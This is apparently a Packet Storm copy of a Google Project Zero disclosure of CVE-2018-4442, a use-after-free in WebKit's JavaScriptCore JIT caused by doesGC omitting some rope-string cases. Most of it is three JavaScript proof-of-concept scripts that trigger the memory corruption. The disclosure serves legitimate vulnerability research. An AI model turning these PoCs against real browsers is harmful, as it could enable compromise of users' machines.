exploit the possibilities

WebKit JSC JIT Use-After-Free

WebKit JSC JIT Use-After-Free
Posted Jan 16, 2019
Authored by Google Security Research, lokihardt

The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it is missing some cases such as StringCharAt, StringCharCodeAt and GetByVal that might cause a garbage collection via rope strings. As a result, it can lead to a use-after-free condition.

tags | exploit
advisories | CVE-2018-4442
MD5 | 6c7e9c82cba28e3a0216c2258377389d

WebKit JSC JIT Use-After-Free

Change Mirror Download
WebKit: JSC: JIT: GetIndexedPropertyStorage can GC 

CVE-2018-4442


The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing some cases such as StringCharAt, StringCharCodeAt and GetByVal that might cause a garbage collection via rope strings. As a result, it can lead to UaF.

PoC 1 - StringCharAt:
function gc() {
for (let i = 0; i < 10; i++) {
new ArrayBuffer(1024 * 1024 * 10);
}
}

function opt(arr) {
let r = /a/;
let o = {};

arr[0].charAt(0);
arr[1].charAt(0);
arr[2].charAt(0);
arr[3].charAt(0);
arr[4].charAt(0);
arr[5].charAt(0);
arr[6].charAt(0);
arr[7].charAt(0);
arr[8].charAt(0);
arr[8].charAt(0);
arr[9].charAt(0);

o.x = 'a'.match(r);

return o;
}

function main() {
for (let i = 0; i < 10000; i++) {
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
}

let a = 'a'.repeat(1024 * 1024 * 2);
let b = 'a'.repeat(1024 * 1024 * 2);

let arr = [];
for (let i = 0; i < 10; i++) {
arr[i] = a + b;
}

gc();

let o = opt(arr);

gc();

let tmp = [1234];

print(o.x); // 1234
}

main();

PoC 2 - StringCharCodeAt:
function gc() {
for (let i = 0; i < 10; i++) {
new ArrayBuffer(1024 * 1024 * 10);
}
}

function opt(arr) {
let r = /a/;
let o = {};

arr[0].charCodeAt(0);
arr[1].charCodeAt(0);
arr[2].charCodeAt(0);
arr[3].charCodeAt(0);
arr[4].charCodeAt(0);
arr[5].charCodeAt(0);
arr[6].charCodeAt(0);
arr[7].charCodeAt(0);
arr[8].charCodeAt(0);
arr[8].charCodeAt(0);
arr[9].charCodeAt(0);

o.x = 'a'.match(r);

return o;
}

function main() {
for (let i = 0; i < 10000; i++) {
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
}

let a = 'a'.repeat(1024 * 1024 * 2);
let b = 'a'.repeat(1024 * 1024 * 2);

let arr = [];
for (let i = 0; i < 10; i++) {
arr[i] = a + b;
}

gc();

let o = opt(arr);

gc();

let tmp = [1234];

print(o.x); // 1234
}

main();

PoC 3 - GetByVal:
function gc() {
for (let i = 0; i < 10; i++) {
new ArrayBuffer(1024 * 1024 * 10);
}
}

function opt(arr) {
let r = /a/;
let o = {};

arr[0][0];
arr[1][0];
arr[2][0];
arr[3][0];
arr[4][0];
arr[5][0];
arr[6][0];
arr[7][0];
arr[8][0];
arr[8][0];
arr[9][0];

o.x = 'a'.match(r);

return o;
}

function main() {
for (let i = 0; i < 10000; i++) {
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
}

let a = 'a'.repeat(1024 * 1024 * 2);
let b = 'a'.repeat(1024 * 1024 * 2);

let arr = [];
for (let i = 0; i < 10; i++) {
arr[i] = a + b;
}

gc();

let o = opt(arr);

gc();

let tmp = [1234];

print(o.x); // 1234
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    12 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close